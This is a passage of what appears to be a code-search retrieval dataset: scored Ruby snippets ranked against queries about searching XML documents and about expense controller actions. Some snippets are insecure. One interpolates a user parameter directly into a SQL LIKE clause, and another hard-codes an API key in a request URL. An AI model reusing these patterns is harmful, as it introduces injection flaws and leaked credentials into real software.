"text": "def search(value)\n return search_helper(@root, value) # use a helper method. This approach root from being exposed outside the class. (encapsulation)\n end",
"title": ""
},
{
"docid": "adee8d518512ec5bb269234c026c882c",
"score": "0.5990028",
"text": "def search(word)\n _search(@root, 0, word)\n end",
"title": ""
},
{
"docid": "e418aa303a4a21b655e4bcf6ba63620b",
"score": "0.59826195",
"text": "def scanXml()\n if([email protected]?) then\n scanXmlNodes() ;\n scanXmlWays() ;\n scanXmlRelations() ;\n dereference() ;\n end\n end",
"title": ""
},
{
"docid": "762f046df6c50d90a8233b2759791fcc",
"score": "0.5947077",
"text": "def searchNode(xpathExpr)\n\t myNode = @myDoc.at(xpathExpr)\n\t \n\t if(myNode == nil)\n\t puts \"Not found...\"\n\t else\n\t puts myNode.to_xml\n\t return myNode\n\t end\n\tend",
"title": ""
},
{
"docid": "81ae748984bb80ab842122a29a8a31c5",
"score": "0.5939262",
"text": "def test_element_word_searches\n # test for find by title element in namespace http://docbook.org/ns/docbook\n results = ActiveDocument::Finder.find_by_title(\"Explorers\", \"book\")\n assert_instance_of(ActiveDocument::SearchResults, results)\n assert_equal(1, results.total)\n\n # test for find by PERSONA element with no namespace\n results = ActiveDocument::Finder.find_by_PERSONA(\"SCARUS\") # note that the find is case sensitive in regards to the element name, e.g. find_by_persona fails\n assert_instance_of(ActiveDocument::SearchResults, results)\n assert_equal(1, results.total)\n end",
"title": ""
},
{
"docid": "3166092730214bec93bec28a6e05ed55",
"score": "0.59348464",
"text": "def search(term)\n Elementy::Element.search term\n end",
"title": ""
},
{
"docid": "55ce67b93567da287e23b2e324e960fc",
"score": "0.590955",
"text": "def find_in(document)\n search.call(document)\n end",
"title": ""
},
{
"docid": "071a35e3ed1cae087c584db34a72800d",
"score": "0.59047455",
"text": "def do_search(search_term, options)\n wait\n doc = make_api_request(options.merge({:query => 'term='+search_term}))\n parser = XMLParser.new\n parser.parse_search(doc)\n end",
"title": ""
},
{
"docid": "9bf31442e5c948d1fb6e07101e09cab0",
"score": "0.59015256",
"text": "def find_xml_file(file, searchpath)\n filename = File::basename(file)\n\n if filename != file\n return file if File::file?(file)\n else\n searchpath.each { |path|\n full_path = File::join(path, filename)\n return full_path if File::file?(full_path)\n }\n end\n\n if searchpath.empty?\n return file if File::file?(file)\n raise ArgumentError, \"File does not exist: #{file}.\"\n end\n raise ArgumentError, \"Could not find <#{filename}> in <#{searchpath.join(':')}>\"\n end",
"title": ""
},
{
"docid": "a5ae7e655eb7167a6857f4e6f969db03",
"score": "0.59013677",
"text": "def search\n\n end",
"title": ""
},
{
"docid": "a5ae7e655eb7167a6857f4e6f969db03",
"score": "0.59013677",
"text": "def search\n\n end",
"title": ""
},
{
"docid": "a6b526262b97cda743105610c75d21b6",
"score": "0.588628",
"text": "def find_by_word(word, root, namespace)\n xquery = <<GENERATED\nimport module namespace search = \"http://marklogic.com/appservices/search\"at \"/MarkLogic/appservices/search/search.xqy\";\nsearch:search(\"#{word}\",\n<options xmlns=\"http://marklogic.com/appservices/search\">\nGENERATED\n unless root.nil?\n xquery << \"<searchable-expression\"\n\n xquery << \" xmlns:a=\\\"#{namespace}\\\"\" unless namespace.nil? or namespace.empty?\n xquery << '>/'\n xquery << \"a:\" unless namespace.nil? or namespace.empty?\n xquery << \"#{root}</searchable-expression>\"\n end\n xquery << \"</options>)\"\n end",
"title": ""
},
{
"docid": "d72ac735e358e59ef06670584a92e9c9",
"score": "0.58846104",
"text": "def find(root, data)\n end",
"title": ""
},
{
"docid": "d72ac735e358e59ef06670584a92e9c9",
"score": "0.58846104",
"text": "def find(root, data)\n end",
"title": ""
},
{
"docid": "6e58dfbcd18a4603ac4d279878780cc5",
"score": "0.5880338",
"text": "def search(key)\n check_closed?\n if @names then\n @db.search_namespaces(key, *@names)\n else\n @db.search_all(key)\n end\n end",
"title": ""
},
{
"docid": "d39399e645a4de2b53e8983c3022f6be",
"score": "0.58763397",
"text": "def searches(ast)\n return [] unless ast.respond_to?(:xpath)\n ast.xpath(\"//fcall/ident[@value = 'search']\")\n end",
"title": ""
},
{
"docid": "ab91a6456cea17932ee00d61ddfd17eb",
"score": "0.58726835",
"text": "def search_file\n # This defines the rules used for searching the .docx files\n @rule = File::Find.new(\n pattern: '*.docx',\n follow: false,\n path: [@path],\n maxdepth: 1 # maxdepth is used to define find-file only search for current folder, and not the sub folders\n )\n\n # This runs the find method of find-file gem and assign returned array of filepath to @docx_file\n @docx_file = @rule.find\n\n # In case of no .docx files found, puredocx's create method is invoked to create a .docx file containing the term.\n if @docx_file.empty?\n puts '========================'\n puts \"No .docx files in folder => Creating new #{@term}.docx file\"\n PureDocx.create(\"./#{@term}.docx\", paginate_pages: 'right') do |doc|\n # puredocx's create method is executed here\n doc.content([doc.text(@term, style: [:bold], size: 32, align: 'center')])\n end\n exit # Stop the program once document is created.\n end\n end",
"title": ""
},
{
"docid": "465476731cb819035c44e3b7c221e943",
"score": "0.58575344",
"text": "def search\r\n context_id = params[:s].sub(/^([a-zA-Z]+)/,'') rescue render_return\r\n context = $1\r\n query = params[:q] ? (params[:q].size > 2 ? \"title LIKE '%#{params[:q]}%'\" : \"false\") : \r\n (context == \"all\" ? \"false\" : \"true\") \r\n @search_context,@result_documents,@paginator = begin case context\r\n when \"uid\"\r\n ones_documents(context_id,query)\r\n when \"c\"\r\n course_documents(context_id,query)\r\n when \"nid\"\r\n school_documents(context_id,query)\r\n when \"all\"\r\n classtalk_documents(query)\r\n else\r\n raise\r\n end\r\n rescue\r\n [nil,[],nil]\r\n end\r\n end",
"title": ""
},
{
"docid": "006e1f297d381520d5c1c0389e38a957",
"score": "0.58454996",
"text": "def search(word)\n match(word, 0, @root)\n end",
"title": ""
},
{
"docid": "de52cbb9e061c8740802174eeb73de8a",
"score": "0.58382136",
"text": "def elements(query)\n @doc.search(query)\n end",
"title": ""
},
{
"docid": "a7403afe3dd3a09d0ce2296dcdd54aaf",
"score": "0.58368975",
"text": "def search\n @documents = api.form(\"everything\")\n .query(%([[:d = fulltext(document, \"#{params[:q]}\")]]))\n .page(params[:page] ? params[:page] : \"1\")\n .page_size(params[:page_size] ? params[:page_size] : \"20\")\n .submit(ref)\n end",
"title": ""
},
{
"docid": "f26b3b48f0187929733c074cff08be88",
"score": "0.5835139",
"text": "def search\n \tend",
"title": ""
},
{
"docid": "c0a7765b82f811743cc8d462880b0eb6",
"score": "0.58351207",
"text": "def query\n @xml = GoogleSiteSearch::request_xml(url)\n parse_xml unless @xml.nil?\n\t\t\tself\n end",
"title": ""
},
{
"docid": "deed5f5020f023afbf2d4087233a3231",
"score": "0.5831563",
"text": "def search()\n # Do some checks to ensure that we know where to search and what to look for\n if searchRequest.nil?\n fail \"No search information specified\"\n end\n\n if searchRequest.searchFolders.nil?\n fail \"There are no search folders specified\"\n end\n\n if searchRequest.searchStrings.nil?\n fail \"There are no search strings specified\"\n end\n\n # Exclude strings are optional so no checking will be done here\n \n # Now perform the search\n searchRequest.searchFolders.each {|folder| searchFolder(folder) }\n\n end",
"title": ""
},
{
"docid": "8552dcd3e60037c71716f8cc8c54b431",
"score": "0.57943344",
"text": "def search(val, root=@root)\n _, _, found = _search(val, root, root, nil)\n return found\n end",
"title": ""
},
{
"docid": "2bc7e6d1b90b41aa7dc6e350decaa2d3",
"score": "0.5793088",
"text": "def perform_search(sender)\n NSLog(\"searching for #{@search_box.to_s}\")\n begin\n refs = DocSet.search(@search_box.to_s)\n rescue DocSetError => error_message\n alert(:message => \"Missing documentation\", :info => error_message.to_s) \n else\n # loading the table view\n result_store.add_results(@result_table_view, refs)\n if refs.first.respond_to?(:full_path)\n @web_view.url = refs.first.full_path\n search_box.text = ''\n else\n alert :message => \"No documentation found\", :info => \"Sorry, we couldn't find anything about #{@search_box.to_s}, please use another term and try again.\"\n search_box.text = ''\n end\n end\n end",
"title": ""
},
{
"docid": "14f66b504cc9e87928600236d2d72da4",
"score": "0.5789763",
"text": "def get(params={})\n found = nil\n options = params.merge({})\n options.delete :api_key\n options.delete 'api_key'\n @collection.find(options).each do |doc|\n if verify(doc, options) then\n found = doc['xml']\n break\n end\n end\n found\n end",
"title": ""
},
{
"docid": "34c8aaa585d58c4882380975ea47cfea",
"score": "0.57860845",
"text": "def searched\n\n end",
"title": ""
},
{
"docid": "d38a22c6f1ca8c6c262b8009b806e1ee",
"score": "0.57761514",
"text": "def search(&block)\n ::Sunspot.search(self, &block)\n end",
"title": ""
},
{
"docid": "82a0b66d019aa3e670216b15e60a1bed",
"score": "0.57646346",
"text": "def search\n\t\t\tsuper(@search_url, \"Document>Protocol>plist>dict\")\n\t\tend",
"title": ""
},
{
"docid": "a0e2554134a6faf726f2459d699b9496",
"score": "0.57578987",
"text": "def search(q)\n q = q.is_a?(Range) ? q : (q..q)\n results = []\n\n search_nodes(q, root, results)\n results\n end",
"title": ""
},
{
"docid": "5b2b1d0224c3722d2441eaf60e2a2307",
"score": "0.5757525",
"text": "def run_search\n\t\t\tsearch.search\n\t\tend",
"title": ""
},
{
"docid": "34dd673b11b67c5144f1eac53c61218c",
"score": "0.57524544",
"text": "def document\n if @document.nil?\n html = fetch(self.query.escape_unicode)\n @document = XmlSimple.xml_in(html)\n @document = nil if @document['totalResults'] == ['0']\n end\n @document\n end",
"title": ""
},
{
"docid": "f098d2ab554ba875bd3f17d6687de6de",
"score": "0.57472557",
"text": "def search_file(filepath, query, &block); end",
"title": ""
},
{
"docid": "63fd0d06d9a22e535dacf61be1ccc8fe",
"score": "0.5747219",
"text": "def search(title)\n search_results = open('https://www.goodreads.com/search.xml?key=9PDFrBnr73QPOaxy24u95w&q=' + title).read\nend",
"title": ""
},
{
"docid": "fcddf467e99e45a630510fe8bb605ae5",
"score": "0.57466954",
"text": "def search(target)\n \n end",
"title": ""
},
{
"docid": "636e0bf62c0ab817368c369dce7f5335",
"score": "0.574406",
"text": "def node_search(arg = nil)\n set_or_return_search_array(:node_search, arg)\n end",
"title": ""
},
{
"docid": "517517486679a739fba6808bad714e50",
"score": "0.5735498",
"text": "def xpath_search_first(path)\n\t\t\troot.xsf(path)\n\t\tend",
"title": ""
},
{
"docid": "e7e34ca69207dda2b527209ed53b0e69",
"score": "0.5729726",
"text": "def search(doc, search)\n basePath = '/html/body/div/table/tbody/tr/td/a[text() =\"'\n doc.xpath(basePath+search+'\"]/../../td[2]').text\n end",
"title": ""
},
{
"docid": "e33729d7794abb60dbc1ad8e47df7a08",
"score": "0.57295835",
"text": "def process_xml\n # everything inside \"dict\"\n file = File.new(attachment.current_path)\n doc = Nokogiri::XML(file)\n\n # these are all our track nodes\n nodes = doc.root.children[1].css(\"dict\").first.children.css(\"dict\")\n search_terms = []\n\n nodes.each do |node|\n artist, name = \"\"\n node.children.each_with_index do |child, i|\n if !child.child.nil? && child.child.text == \"Name\"\n name = node.children[i+1].child.text\n elsif !child.child.nil? && child.child.text == \"Artist\"\n artist = node.children[i+1].child.text\n end\n end\n\n search_terms.push(artist + \" \" + name)\n end\n\n search_terms\n end",
"title": ""
},
{
"docid": "7e3981adffde0e404bb8cab5e3dce030",
"score": "0.57275295",
"text": "def doc() d=xml.elements[\"doc\"]; d and d.text; end",
"title": ""
},
{
"docid": "1716b05bdfdc41cbd24b552c25d15a5c",
"score": "0.5721598",
"text": "def search(generic_opts = {}, explicit_body = nil)\n # Written this way to be more RDoc friendly\n do_search(generic_opts, explicit_body)\n end",
"title": ""
},
{
"docid": "0fb94b180374982c6b3a578150d0183d",
"score": "0.57200813",
"text": "def search\n @search_documents = find_search_documents\n render layout: \"layouts/full_page\"\n end",
"title": ""
},
{
"docid": "20494d07bb7db0cff01820c3b3cd35d1",
"score": "0.5707443",
"text": "def search_by_id\n begin\n result = Openws::GeneralDocument.with(collection: namespaced_collection).find(params[:id])\n render json: result, status: 200\n rescue\n render json: { msg: 'Document not found' }, status: 404\n end\n end",
"title": ""
},
{
"docid": "10ddc26796574a7ba3cd4d7960cfcad8",
"score": "0.57037187",
"text": "def location\n xml.xpath\n end",
"title": ""
},
{
"docid": "8ed033b827b1a4454c0d3074aec2a909",
"score": "0.56941843",
"text": "def search\n simple_search\n end",
"title": ""
},
{
"docid": "326c0be04701b73d7c412e3b3a141e02",
"score": "0.5687555",
"text": "def search *args\n @riff.first.search *args\n end",
"title": ""
},
{
"docid": "39a533dd95b6144e3dfe1e0703071162",
"score": "0.56826216",
"text": "def find_entities\n result_xml.xpath('//entry')\n end",
"title": ""
}
] |
77066b78e176a9edf81f85aa134e204b
|
GET /expenses/1 GET /expenses/1.json
|
[
{
"docid": "a81945373733e4951b987de6ea99f9a1",
"score": "0.0",
"text": "def show\n end",
"title": ""
}
] |
[
{
"docid": "b6f455b68a6369a701b0729e38c67dff",
"score": "0.76643664",
"text": "def index\n @expenses = Expense.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end",
"title": ""
},
{
"docid": "9ff8a84f500cec409c83a64327f6c0d4",
"score": "0.7413893",
"text": "def show\n @expenses = TblReceipt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expenses }\n end\n end",
"title": ""
},
{
"docid": "62a87d1ac14d83dc63848160adeca662",
"score": "0.73080707",
"text": "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "62a87d1ac14d83dc63848160adeca662",
"score": "0.73080707",
"text": "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "62a87d1ac14d83dc63848160adeca662",
"score": "0.73080707",
"text": "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "62a87d1ac14d83dc63848160adeca662",
"score": "0.73080707",
"text": "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "62a87d1ac14d83dc63848160adeca662",
"score": "0.73080707",
"text": "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "62a87d1ac14d83dc63848160adeca662",
"score": "0.73080707",
"text": "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "62a87d1ac14d83dc63848160adeca662",
"score": "0.73080707",
"text": "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "62a87d1ac14d83dc63848160adeca662",
"score": "0.73080707",
"text": "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "f32e344624d1f0b7cc6a3bacb2684fbf",
"score": "0.7303683",
"text": "def show\n @expense = Expense.find(params[:id])\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "a05070380e42e07835e416accdc4b268",
"score": "0.72369164",
"text": "def index\n @expenses = Expense.all\n end",
"title": ""
},
{
"docid": "a05070380e42e07835e416accdc4b268",
"score": "0.72369164",
"text": "def index\n @expenses = Expense.all\n end",
"title": ""
},
{
"docid": "a05070380e42e07835e416accdc4b268",
"score": "0.72369164",
"text": "def index\n @expenses = Expense.all\n end",
"title": ""
},
{
"docid": "c7bd3b0d51d666c1c3bc77040cd9917d",
"score": "0.71863693",
"text": "def expenses\n @expenses ||= Harvest::API::Expenses.new(credentials)\n end",
"title": ""
},
{
"docid": "5ba317e6a202ec564105dd5f131912cf",
"score": "0.7165662",
"text": "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb .\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "9ad67b2f07257a138ea96c31a94cfda0",
"score": "0.71205336",
"text": "def index\n @expenses = current_account.expenses\n end",
"title": ""
},
{
"docid": "f6855595fe56c18ce1162de2b7bffec8",
"score": "0.7119815",
"text": "def index\n @q = Expense.order(\"id DESC\").search(params[:q])\n @expenses = @q.result\n @expenses = @expenses.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end",
"title": ""
},
{
"docid": "c13a143b643ac53c2ad566da843d4617",
"score": "0.7102269",
"text": "def index\r\n @expenses = Expense.all\r\n end",
"title": ""
},
{
"docid": "fd25190a97811449d53a413f211b6c9b",
"score": "0.71003693",
"text": "def index\n @api_v1_initiative_expenses = Api::V1::InitiativeExpense.all\n end",
"title": ""
},
{
"docid": "44ec22a15cdf1097c236381fabfc88e3",
"score": "0.7044188",
"text": "def show\n @admin_expense = Admin::Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_expense }\n end\n end",
"title": ""
},
{
"docid": "ac46d260c765c5e3d6fdcf984a0a4614",
"score": "0.70415056",
"text": "def index\n @expensescounters = Expensescounter.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expensescounters }\n end\n end",
"title": ""
},
{
"docid": "8d13b192ad6c2a4f4db7d7ce3cf3fbcd",
"score": "0.6990565",
"text": "def index\n @expenses = current_user.expenses\n end",
"title": ""
},
{
"docid": "25daf3bf39fc9dde148ee017a1f4a9e4",
"score": "0.69470507",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "c9b93b5659608868cb0ce9e3d133e911",
"score": "0.6946215",
"text": "def index\n @user = User.find(params[:user_id])\n @expenses = @user.expenses.all\n \n end",
"title": ""
},
{
"docid": "cc0415ce6b0949e9a27a1bdff4b5c762",
"score": "0.69391084",
"text": "def show\n @expense = Expense.find(params[:id])\n end",
"title": ""
},
{
"docid": "28df50b479ae5f2525214afd82b8d471",
"score": "0.69215655",
"text": "def show\n # Gets from the URL the year whose attributes are being collected.\n year = params[ :year ]\n company_id = params[ :id ]\n company_expense = HelperController\n .find_expenses_entity( year, company_id, :company, :name )\n assert_object_is_not_null( company_expense )\n\n respond_to do |format|\n format.json { render json: company_expense }\n end\n end",
"title": ""
},
{
"docid": "4d2f6ba649a300d432f7ed2fe2ba591b",
"score": "0.6902643",
"text": "def show_price\n render json: Expense.find(params[:id]).price\n end",
"title": ""
},
{
"docid": "16d5c998100dcfac16cbe34931dbf8b4",
"score": "0.6868181",
"text": "def show\n @expense_item = ExpenseItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense_item }\n end\n end",
"title": ""
},
{
"docid": "7aa4195a07cecfff740d17bdd61f1bd6",
"score": "0.6842032",
"text": "def index\n @expenses = Expense.all_for_user(current_user)\n end",
"title": ""
},
{
"docid": "fc7b8970e606de2e12113d6f084010de",
"score": "0.68351674",
"text": "def index\n @expenses = Expense.all\n @expense = Expense.new\n end",
"title": ""
},
{
"docid": "e81068b9d1d0477659cbe8ff4ad8ad78",
"score": "0.68024606",
"text": "def index\n @api_v1_answer_expenses = Api::V1::AnswerExpense.all\n end",
"title": ""
},
{
"docid": "a281160fcf987285ba684a72c7a083b0",
"score": "0.67988986",
"text": "def show\n respond_to do |format|\n format.html\n format.json { render :json => @expense }\n end\n end",
"title": ""
},
{
"docid": "6d95f131e793b5b2143e179c0c5d6b9e",
"score": "0.6783874",
"text": "def index\n set_expense_list_path(expenses_path)\n respond_to do |format|\n format.html { render template: 'expenses/index.html.erb', locals: { title: 'Listing Expenses', jason_url: expenses_url(format: \"json\")} }\n format.json { render json: ExpensesDatatable.new(view_context, @expenses.for_datatable) }\n end\n end",
"title": ""
},
{
"docid": "7721040143a9b357c284c845a4d4149f",
"score": "0.67582136",
"text": "def show\n @expense = current_user.expenses.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end",
"title": ""
},
{
"docid": "a08c88395f5583ad6e82a36e16ae7810",
"score": "0.6747506",
"text": "def index\n @actual_expenses = ActualExpense.all\n end",
"title": ""
},
{
"docid": "6e0a5e5ff8168bf8b728b0cafbbbf816",
"score": "0.6737365",
"text": "def index\n @expenses = Expense.activing.find_all_by_organization_id current_organization.subtree_ids\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end",
"title": ""
},
{
"docid": "181f703d98300d385ee81d9d8427c7c0",
"score": "0.6713115",
"text": "def index\n @expenses = current_user.expenses\n @total_amount = Expense.total(current_user.expenses)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @expenses }\n end\n end",
"title": ""
},
{
"docid": "e3501e84db8fa23aaded909570f7eca5",
"score": "0.67062145",
"text": "def show\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @expense }\r\n end\r\n end",
"title": ""
},
{
"docid": "1f8786ebe110cf6811666e18c02af54d",
"score": "0.6703339",
"text": "def index\n @exspenses = Exspense.all\n end",
"title": ""
},
{
"docid": "2e1dc8091d100998a8f3b8dbf32e8bf5",
"score": "0.66925293",
"text": "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense_item }\n end\n end",
"title": ""
},
{
"docid": "a0bfc319c08df144d7b213b7ed0bf9c6",
"score": "0.66848034",
"text": "def show\n @expense_history = ExpenseHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense_history }\n end\n end",
"title": ""
},
{
"docid": "c486863961e214e96b9ee79f65efc53e",
"score": "0.66832036",
"text": "def show\n @variable_expense = VariableExpense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @variable_expense }\n end\n end",
"title": ""
},
{
"docid": "e9beb1b22792621a9edc82f970cc8a81",
"score": "0.6673383",
"text": "def show\n @travel_expense = TravelExpense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @travel_expense }\n end\n end",
"title": ""
},
{
"docid": "1071356d16bf54e0c4ddc89805a7e856",
"score": "0.66624737",
"text": "def index\n @expense_item = ExpenseItem.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expense_items }\n end\n end",
"title": ""
},
{
"docid": "d49e27de252d8363a9dd237ae446a431",
"score": "0.66567075",
"text": "def show\n @recurrent_expense = RecurrentExpense.find(params[:id])\n index\n end",
"title": ""
},
{
"docid": "b43383cfac3da47733cceb46a1121602",
"score": "0.665369",
"text": "def show\n @expense_value = ExpenseValue.find(params[:id])\n\n respond_to do |format|\n format.html { render :layout => false }\n format.json { render json: @expense_value }\n end\n end",
"title": ""
},
{
"docid": "22ea52b79e678e7a23be8818f35fcbdc",
"score": "0.66463214",
"text": "def index\n @expenses = @event.expenses.where(approved: true)\n end",
"title": ""
},
{
"docid": "edce69f71ad8546f52ba7f53f550ab13",
"score": "0.66447383",
"text": "def show\n @game_expense = GameExpense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_expense }\n end\n end",
"title": ""
},
{
"docid": "3bd843ae21ee276452bb1e3c2b77774c",
"score": "0.66397905",
"text": "def show\n @expense_type = ExpenseType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense_type }\n end\n end",
"title": ""
},
{
"docid": "b1caa8201abdc334d7aa2818ea006698",
"score": "0.66300213",
"text": "def expenses\n #Returns set of expenses in order based on parameters\n @expenses = Expense.search(params[:search], params[:column]).order(sort_column(Expense, 'quick_pay') + ' ' + sort_direction)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end",
"title": ""
},
{
"docid": "fe10242fe25b1ae86ff9d6e900a59a7c",
"score": "0.66175354",
"text": "def index\n @recurrent_expenses = RecurrentExpense.all\n \n respond_to do |format|\n format.html { render :action => 'index' }\n format.xml { render :xml => @recurrent_expenses }\n end\n end",
"title": ""
},
{
"docid": "aeb0c134cc9e5c3dfbf08efd5cff5349",
"score": "0.6612103",
"text": "def index\n @expenses = Expense.all.where(user: current_user)\n end",
"title": ""
},
{
"docid": "27cd967eee5efd8799a72da0bba27055",
"score": "0.6582892",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense_status }\n end\n end",
"title": ""
},
{
"docid": "79064fee82065921286dfbae881b7742",
"score": "0.6578353",
"text": "def index\n @expenses = Expense.all.order('day DESC').page(params[:page]).per(12)\n end",
"title": ""
},
{
"docid": "350d7ec7428f98165bee0a9086cdf0a0",
"score": "0.6561235",
"text": "def show\n @expence = Expence.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expence }\n end\n end",
"title": ""
},
{
"docid": "8483f247806505afcbc4f4ca827dff2d",
"score": "0.6541082",
"text": "def show\n @expense_source = ExpenseSource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense_source }\n end\n end",
"title": ""
},
{
"docid": "7ecbcb3ed9090fc943575ab3c6094e59",
"score": "0.6536705",
"text": "def new\n @expenses = TblReceipt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expenses }\n end\n end",
"title": ""
},
{
"docid": "ed388942b0dd1b5cc5ba5d08c352bec5",
"score": "0.6520712",
"text": "def index\n @expenses = Expense.all\n unless current_user\n redirect_to root_url\n end\n end",
"title": ""
},
{
"docid": "a2526efc403826755e5ba86c104f5295",
"score": "0.6518233",
"text": "def index\n @operational_expenses = OperationalExpense.all\n end",
"title": ""
},
{
"docid": "9065b548782212204899e727e8ba853c",
"score": "0.6517552",
"text": "def new\n @expense = Expense.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "9065b548782212204899e727e8ba853c",
"score": "0.6517552",
"text": "def new\n @expense = Expense.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "9065b548782212204899e727e8ba853c",
"score": "0.6517552",
"text": "def new\n @expense = Expense.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "9065b548782212204899e727e8ba853c",
"score": "0.6517552",
"text": "def new\n @expense = Expense.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "20811c0eaa4944fb025d2d1e68de656d",
"score": "0.6500366",
"text": "def show\n @round_expense = RoundExpense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @round_expense }\n end\n end",
"title": ""
},
{
"docid": "317417e74d85be16795072239c4e439f",
"score": "0.6499866",
"text": "def index\n @expirations = Expiration.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expirations }\n end\n end",
"title": ""
},
{
"docid": "a1d6255a700391b790ab89ff19d8146d",
"score": "0.6487741",
"text": "def index\n #TO DO make debtors for each expense\n @expenses = @scope.all\n end",
"title": ""
},
{
"docid": "1c15be80c51e5042120440d4951ca2d7",
"score": "0.64670646",
"text": "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end",
"title": ""
},
{
"docid": "1c15be80c51e5042120440d4951ca2d7",
"score": "0.64670646",
"text": "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end",
"title": ""
},
{
"docid": "1c15be80c51e5042120440d4951ca2d7",
"score": "0.64670646",
"text": "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end",
"title": ""
},
{
"docid": "77ff47a68b6a5867af5ee856863e76fc",
"score": "0.64619696",
"text": "def show\n\n @budget = current_budget\n\n # Append budget id to the params (filtering to the current user's budget)\n params[\"budget_id\"] = @budget.id\n @expense = Expense.find(params[:id])\n\n params[:pid] ||= 0\n\n @periods = @budget.periods.limit(17).offset(params[:pid]).order(:id).all\n @period_count = @budget.periods.count()\n\n respond_to do |format|\n format.html { render :layout => false}\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "3a1e09ae0f02db4362c4c46dadab0bd5",
"score": "0.6450993",
"text": "def index\n @office_expenses = OfficeExpense.all\n end",
"title": ""
},
{
"docid": "fed08cd76ef211f9ed3431104a532c5f",
"score": "0.6434368",
"text": "def show\n @expense_option = ExpenseOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense_option }\n end\n end",
"title": ""
},
{
"docid": "acf93fd9445c5fcfbd1acb4f96e142b5",
"score": "0.6430588",
"text": "def index\n if current_user.is?(:general_manager)\n @expenses = Expense.waiting_general_manager_approval\n @expenses += Expense.waiting_manager_approval.find_all_by_organization_id current_user.under_organizations\n else\n @expenses = Expense.waiting_manager_approval.find_all_by_organization_id current_user.under_organizations\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end",
"title": ""
},
{
"docid": "2409bef4fb2bba6eeb6fdafcfb37583d",
"score": "0.6429009",
"text": "def index\n @expense_entries = ExpenseEntry.all\n end",
"title": ""
},
{
"docid": "de051ed675c00b025f23b4d77258e416",
"score": "0.6418195",
"text": "def index\n @expenses = current_user.expenses.order(created_at: :desc)\n end",
"title": ""
},
{
"docid": "e13b5bcecdd4f8b5d081e2780b8ca928",
"score": "0.64135075",
"text": "def show\n @lense = Lense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lense }\n end\n end",
"title": ""
},
{
